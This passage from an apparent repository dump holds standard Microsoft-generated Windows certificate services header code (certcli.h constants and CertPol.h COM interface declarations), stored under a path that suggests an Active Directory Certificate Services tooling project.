\t\tL\"Authority\"\n#define wszCONFIG_SANITIZEDNAME\t\tL\"SanitizedName\"\n#define wszCONFIG_SHORTNAME\t\tL\"ShortName\"\n#define wszCONFIG_SANITIZEDSHORTNAME\tL\"SanitizedShortName\"\n#define wszCONFIG_FLAGS\t\t\tL\"Flags\"\n#define wszCONFIG_WEBENROLLMENTSERVERS\tL\"WebEnrollmentServers\"\n#define\tCAIF_DSENTRY\t( 0x1 )\n\n#define\tCAIF_SHAREDFOLDERENTRY\t( 0x2 )\n\n#define\tCAIF_REGISTRY\t( 0x4 )\n\n#define\tCAIF_LOCAL\t( 0x8 )\n\n#define\tCAIF_REGISTRYPARENT\t( 0x10 )\n\n#define\tCR_IN_BASE64HEADER\t( 0 )\n\n#define\tCR_IN_BASE64\t( 0x1 )\n\n#define\tCR_IN_BINARY\t( 0x2 )\n\n#define\tCR_IN_ENCODEANY\t( 0xff )\n\n#define\tCR_IN_ENCODEMASK\t( 0xff )\n\n#define\tCR_IN_FORMATANY\t( 0 )\n\n#define\tCR_IN_PKCS10\t( 0x100 )\n\n#define\tCR_IN_KEYGEN\t( 0x200 )\n\n#define\tCR_IN_PKCS7\t( 0x300 )\n\n#define\tCR_IN_CMC\t( 0x400 )\n\n#define\tCR_IN_CHALLENGERESPONSE\t( 0x500 )\n\n#define\tCR_IN_FORMATMASK\t( 0xff00 )\n\n#define\tCR_IN_SCEP\t( 0x10000 )\n\n#define\tCR_IN_RPC\t( 0x20000 )\n\n#define\tCR_IN_HTTP\t( 0x30000 )\n\n#define\tCR_IN_FULLRESPONSE\t( 0x40000 )\n\n#define\tCR_IN_CRLS\t( 0x80000 )\n\n#define\tCR_IN_MACHINE\t( 0x100000 )\n\n#define\tCR_IN_ROBO\t( 0x200000 )\n\n#define\tCR_IN_CLIENTIDNONE\t( 0x400000 )\n\n#define\tCR_IN_CONNECTONLY\t( 0x800000 )\n\n#define\tCR_IN_RETURNCHALLENGE\t( 0x1000000 )\n\n#define\tCR_IN_SCEPPOST\t( 0x2000000 )\n\n#define\tCR_IN_CLIENTFLAGSMASK\t( ( ( ( ( ( CR_IN_ENCODEMASK | CR_IN_RPC )  | CR_IN_MACHINE )  | CR_IN_CLIENTIDNONE )  | CR_IN_CONNECTONLY )  | CR_IN_RETURNCHALLENGE )  )\n\n#define\tCC_DEFAULTCONFIG\t( 0 )\n\n#define\tCC_UIPICKCONFIG\t( 0x1 )\n\n#define\tCC_FIRSTCONFIG\t( 0x2 )\n\n#define\tCC_LOCALCONFIG\t( 0x3 )\n\n#define\tCC_LOCALACTIVECONFIG\t( 0x4 )\n\n#define\tCC_UIPICKCONFIGSKIPLOCALCA\t( 0x5 )\n\n#define\tCR_DISP_INCOMPLETE\t( 0 )\n\n#define\tCR_DISP_ERROR\t( 0x1 )\n\n#define\tCR_DISP_DENIED\t( 0x2 )\n\n#define\tCR_DISP_ISSUED\t( 0x3 )\n\n#define\tCR_DISP_ISSUED_OUT_OF_BAND\t( 0x4 )\n\n#define\tCR_DISP_UNDER_SUBMISSION\t( 0x5 )\n\n#define\tCR_DISP_REVOKED\t( 0x6 )\n\n#define\tCR_OUT_BASE64HEADER\t( 0 )\n\n#define\tCR_OUT_BASE64\t( 0x1 )\n\n#define\tCR_OUT_BINARY\t( 0x2 )\n\n#define\tCR_OUT_BASE64REQUESTHEADER\t( 0x3 )\n\n#define\tCR_OUT_HEX\t( 0x4 )\n\n#define\tCR_OUT_HEXASCII\t( 0x5 )\n\n#define\tCR_OUT_BASE64X509CRLHEADER\t( 0x9 )\n\n#define\tCR_OUT_HEXADDR\t( 0xa )\n\n#define\tCR_OUT_HEXASCIIADDR\t( 0xb )\n\n#define\tCR_OUT_HEXRAW\t( 0xc )\n\n#define\tCR_OUT_ENCODEMASK\t( 0xff )\n\n#define\tCR_OUT_CHAIN\t( 0x100 )\n\n#define\tCR_OUT_CRLS\t( 0x200 )\n\n#define\tCR_OUT_NOCRLF\t( 0x40000000 )\n\n#define\tCR_OUT_NOCR\t( 0x80000000 )\n\n#define\tCR_GEMT_DEFAULT\t( 0 )\n\n#define\tCR_GEMT_HRESULT_STRING\t( 0x1 )\n\n#define\tCR_GEMT_HTTP_ERROR\t( 0x2 )\n\n#define CR_PROP_NONE               0  // Invalid\n#define CR_PROP_FILEVERSION        1  // String\n#define CR_PROP_PRODUCTVERSION     2  // String\n#define CR_PROP_EXITCOUNT          3  // Long\n\n// CR_PROP_EXITCOUNT Elements:\n#define CR_PROP_EXITDESCRIPTION    4  // String, Indexed\n\n#define CR_PROP_POLICYDESCRIPTION  5  // String\n#define CR_PROP_CANAME             6  // String\n#define CR_PROP_SANITIZEDCANAME    7  // String\n#define CR_PROP_SHAREDFOLDER       8  // String\n#define CR_PROP_PARENTCA           9  // String\n#define CR_PROP_CATYPE            10  // Long\n#define CR_PROP_CASIGCERTCOUNT    11  // Long\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CASIGCERT         12  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CASIGCERTCHAIN    13  // Binary, Indexed\n\n#define CR_PROP_CAXCHGCERTCOUNT   14  // Long\n\n// CR_PROP_CAXCHGCERTCOUNT Elements:\n#define CR_PROP_CAXCHGCERT        15  // Binary, Indexed\n\n// CR_PROP_CAXCHGCERTCOUNT Elements:\n#define CR_PROP_CAXCHGCERTCHAIN   16  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n// May also be available if CR_PROP_CRLSTATE[i] == CA_DISP_INVALID\n#define CR_PROP_BASECRL           17  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if Delta CRLs enabled && CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n// May also be available if CR_PROP_CRLSTATE[i] == CA_DISP_INVALID\n#define CR_PROP_DELTACRL          18  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CACERTSTATE       19  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CRLSTATE          20  // Long, Indexed\n\n#define CR_PROP_CAPROPIDMAX       21  // Long\n#define CR_PROP_DNSNAME           22  // String\n#define CR_PROP_ROLESEPARATIONENABLED 23 // Long\n#define CR_PROP_KRACERTUSEDCOUNT  24  // Long\n#define CR_PROP_KRACERTCOUNT      25  // Long\n\n// CR_PROP_KRACERTCOUNT Elements:\n#define CR_PROP_KRACERT           26  // Binary, Indexed\n\n// CR_PROP_KRACERTCOUNT Elements:\n#define CR_PROP_KRACERTSTATE      27  // Long, Indexed\n\n#define CR_PROP_ADVANCEDSERVER    28  // Long\n#define CR_PROP_TEMPLATES         29  // String\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n#define CR_PROP_BASECRLPUBLISHSTATUS 30  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if Delta CRLs enabled && CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n#define CR_PROP_DELTACRLPUBLISHSTATUS 31  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CASIGCERTCRLCHAIN 32  // Binary, Indexed\n\n// CR_PROP_CAXCHGCERTCOUNT Elements:\n#define CR_PROP_CAXCHGCERTCRLCHAIN 33 // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CACERTSTATUSCODE  34  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CAFORWARDCROSSCERT 35  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CABACKWARDCROSSCERT 36  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CAFORWARDCROSSCERTSTATE 37  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CABACKWARDCROSSCERTSTATE 38  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CACERTVERSION       39  // Long, Indexed\n#define CR_PROP_SANITIZEDCASHORTNAME 40  // String\n\n// CR_PROP_CERTCDPURLS Elements:\n#define CR_PROP_CERTCDPURLS 41  // String, Indexed\n\n// CR_PROP_CERTAIAURLS Elements:\n#define CR_PROP_CERTAIAURLS 42  // String, Indexed\n\n// CR_PROP_CERTAIAOCSPURLS Elements:\n#define CR_PROP_CERTAIAOCSPURLS 43  // String, Indexed\n\n// CR_PROP_LOCALENAME Elements:\n#define CR_PROP_LOCALENAME 44  // String\n\n// CR_PROP_SUBJECTTEMPLATE_OIDS Elements:\n#define CR_PROP_SUBJECTTEMPLATE_OIDS 45  // String\n#define CR_PROP_SCEPSERVERCERTS        1000  // Binary\n#define CR_PROP_SCEPSERVERCAPABILITIES 1001  // String\n#define CR_PROP_SCEPSERVERCERTSCHAIN   1002  // Binary\n#define CR_PROP_SCEPMIN CR_PROP_SCEPSERVERCERTS\n#define CR_PROP_SCEPMAX CR_PROP_SCEPSERVERCERTSCHAIN\n\n\n#define FR_PROP_NONE                    0  // Invalid\n#define FR_PROP_FULLRESPONSE            1  // Binary\n#define FR_PROP_STATUSINFOCOUNT         2  // Long\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_BODYPARTSTRING          3  // String, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_STATUS                  4  // Long, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_STATUSSTRING            5  // String, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_OTHERINFOCHOICE         6  // Long, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_FAILINFO                7  // Long, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_PENDINFOTOKEN           8  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_PENDINFOTIME            9  // Date, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATEHASH  10  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATE      11  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATECHAIN 12  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATECRLCHAIN 13  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ENCRYPTEDKEYHASH\t  14  // Binary, Indexed\n\n#define FR_PROP_FULLRESPONSENOPKCS7\t  15  // Binary\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATEHASH\t  16  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATE\t  17  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATECHAIN\t  18  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATECRLCHAIN  19  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ATTESTATIONCHALLENGE\t\t  20  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ATTESTATIONPROVIDERNAME\t  21  // Binary, Indexed\n\n// FR_PROP_CLAIMCHALLENGE:\n#define FR_PROP_CLAIMCHALLENGE\t\t  22  // Long\n\nEXTERN_C const IID LIBID_CERTCLILib;\n\nEXTERN_C const CLSID CLSID_CCertGetConfig;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"c6cc49b0-ce17-11d0-8833-00a0c903b83c\")\nCCertGetConfig;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertConfig;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"372fce38-4324-11d0-8810-00a0c903b83c\")\nCCertConfig;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertRequest;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"98aff3f0-5524-11d0-8812-00a0c903b83c\")\nCCertRequest;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertServerPolicy;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"aa000926-ffbe-11cf-8800-00a0c903b83c\")\nCCertServerPolicy;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertServerExit;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"4c4a5e40-732c-11d0-8816-00a0c903b83c\")\nCCertServerExit;\n#endif\n#endif /* __CERTCLILib_LIBRARY_DEFINED__ */\n\n/* interface __MIDL_itf_certcli_0000_0007 */\n/* [local] */ \n\n#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */\n#pragma endregion\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0007_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0007_v0_0_s_ifspec;\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree64(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request_on_behalf/CertPol.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0622 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certpol_h__\n#define __certpol_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __ICertPolicy_FWD_DEFINED__\n#define __ICertPolicy_FWD_DEFINED__\ntypedef interface ICertPolicy ICertPolicy;\n\n#endif \t/* __ICertPolicy_FWD_DEFINED__ */\n\n\n#ifndef __ICertPolicy2_FWD_DEFINED__\n#define __ICertPolicy2_FWD_DEFINED__\ntypedef interface ICertPolicy2 ICertPolicy2;\n\n#endif \t/* __ICertPolicy2_FWD_DEFINED__ */\n\n\n#ifndef __INDESPolicy_FWD_DEFINED__\n#define __INDESPolicy_FWD_DEFINED__\ntypedef interface INDESPolicy INDESPolicy;\n\n#endif \t/* __INDESPolicy_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"wtypes.h\"\n#include \"certmod.h\"\n#include \"certbase.h\"\n#include \"certbcli.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certpol_0000_0000 */\n/* [local] */ \n\n#include <winapifamily.h>\n#pragma region Desktop Family\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0000_v0_0_s_ifspec;\n\n#ifndef __ICertPolicy_INTERFACE_DEFINED__\n#define __ICertPolicy_INTERFACE_DEFINED__\n\n/* interface ICertPolicy */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"38bb5a00-7636-11d0-b413-00a0c91bbf8c\")\n    ICertPolicy : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in const BSTR strConfig) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VerifyRequest( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Context,\n            /* [in] */ LONG bNewRequest,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDescription( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDescription) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ShutDown( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPolicy * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPolicy * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in const BSTR strConfig);\n        \n        HRESULT ( STDMETHODCALLTYPE *VerifyRequest )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Context,\n            /* [in] */ LONG bNewRequest,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDescription )( \n            __RPC__in ICertPolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDescription);\n        \n        HRESULT ( STDMETHODCALLTYPE *ShutDown )( \n            __RPC__in ICertPolicy * This);\n        \n        END_INTERFACE\n    } ICertPolicyVtbl;\n\n    interface ICertPolicy\n    {\n        CONST_VTBL struct ICertPolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPolicy_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPolicy_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPolicy_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPolicy_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPolicy_Initialize(This,strConfig)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strConfig) ) \n\n#define ICertPolicy_VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition)\t\\\n    ( (This)->lpVtbl -> VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition) ) \n\n#define ICertPolicy_GetDescription(This,pstrDescription)\t\\\n    ( (This)->lpVtbl -> GetDescription(This,pstrDescription) ) \n\n#define ICertPolicy_ShutDown(This)\t\\\n    ( (This)->lpVtbl -> ShutDown(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPolicy_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPolicy2_INTERFACE_DEFINED__\n#define __ICertPolicy2_INTERFACE_DEFINED__\n\n/* interface ICertPolicy2 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPolicy2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"3db4910e-8001-4bf1-aa1b-f43a808317a0\")\n    ICertPolicy2 : public ICertPolicy\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE GetManageModule( \n            /* [retval][out] */ __RPC__deref_out_opt ICertManageModule **ppManageModule) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPolicy2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPolicy2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPolicy2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPolicy2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPolicy2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig);\n        \n        HRESULT ( STDMETHODCALLTYPE *VerifyRequest )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Context,\n            /* [in] */ LONG bNewRequest,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDescription )( \n            __RPC__in ICertPolicy2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDescription);\n        \n        HRESULT ( STDMETHODCALLTYPE *ShutDown )( \n            __RPC__in ICertPolicy2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetManageModule )( \n            __RPC__in ICertPolicy2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertManageModule **ppManageModule);\n        \n        END_INTERFACE\n    } ICertPolicy2Vtbl;\n\n    interface ICertPolicy2\n    {\n        CONST_VTBL struct ICertPolicy2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPolicy2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPolicy2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPolicy2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPolicy2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPolicy2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPolicy2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPolicy2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPolicy2_Initialize(This,strConfig)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strConfig) ) \n\n#define ICertPolicy2_VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition)\t\\\n    ( (This)->lpVtbl -> VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition) ) \n\n#define ICertPolicy2_GetDescription(This,pstrDescription)\t\\\n    ( 